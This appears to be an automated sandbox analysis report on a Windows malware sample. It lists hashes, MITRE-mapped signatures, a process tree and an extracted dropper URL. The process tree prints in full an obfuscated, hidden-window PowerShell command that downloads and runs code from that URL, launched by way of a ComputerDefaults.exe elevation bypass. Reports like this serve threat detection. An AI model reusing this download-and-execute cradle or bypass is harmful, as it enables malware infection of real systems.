Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20250619-en - resource tags
- submitted
11/05/2026, 14:18
General
- Target _25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6.exe
- Size 111KB
- Sample260511-rl9b7acs2s
- SHA256 25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://e.mensualgeneratr.com/descargas/up.microsoft
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\_25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6.exe"C:\Users\Admin\AppData\Local\Temp\_25012a8ec2d926e5ee222cedde30ff0d09bb4259801406212c61c08e7aaf30a6.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\winver.exeC:\Windows\system32\winver.exe2⤵
-
-
C:\Windows\system32\ComputerDefaults.exeC:\Windows\system32\ComputerDefaults.exe2⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand aQBlAHgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAGEAVwBWADQASQBDAGcAbwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBPAFoAWABRAHUAVgAyAFYAaQBRADIAeABwAFoAVwA1ADAASwBTADUARQBiADMAZAB1AGIARwA5AGgAWgBGAE4AMABjAG0AbAB1AFoAeQBnAG4AYQBIAFIAMABjAEgATQA2AEwAeQA5AGwATABtADEAbABiAG4ATgAxAFkAVwB4AG4AWgBXADUAbABjAG0ARgAwAGMAaQA1AGoAYgAyADAAdgBaAEcAVgB6AFkAMgBGAHkAWgAyAEYAegBMADMAVgB3AEwAbQAxAHAAWQAzAEoAdgBjADIAOQBtAGQAQwBjAHAASwBRAD0APQAnACkAKQApAA==3⤵
- Hide Artifacts: Hidden Window
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand aQBlAHgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAGEAVwBWADQASQBDAGcAbwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBPAFoAWABRAHUAVgAyAFYAaQBRADIAeABwAFoAVwA1ADAASwBTADUARQBiADMAZAB1AGIARwA5AGgAWgBGAE4AMABjAG0AbAB1AFoAeQBnAG4AYQBIAFIAMABjAEgATQA2AEwAeQA5AGwATABtADEAbABiAG4ATgAxAFkAVwB4AG4AWgBXADUAbABjAG0ARgAwAGMAaQA1AGoAYgAyADAAdgBaAEcAVgB6AFkAMgBGAHkAWgAyAEYAegBMADMAVgB3AEwAbQAxAHAAWQAzAEoAdgBjADIAOQBtAGQAQwBjAHAASwBRAD0APQAnACkAKQApAA==4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_4zhfi3ao.ovy.ps1
memory/1836-0-0x000002C4A0120000-0x000002C4A0130000-memory.dmp
memory/1836-1-0x000002C4A0120000-0x000002C4A0130000-memory.dmp
memory/1836-9-0x000002C4A00D0000-0x000002C4A00F2000-memory.dmp
memory/1836-10-0x000002C4A0120000-0x000002C4A0130000-memory.dmp
memory/1836-11-0x000002C4A0120000-0x000002C4A0130000-memory.dmp
memory/1836-12-0x000002C4B82B0000-0x000002C4B831B000-memory.dmp
memory/1836-16-0x000002C4A0120000-0x000002C4A0130000-memory.dmp
memory/1836-19-0x000002C4B82B0000-0x000002C4B831B000-memory.dmp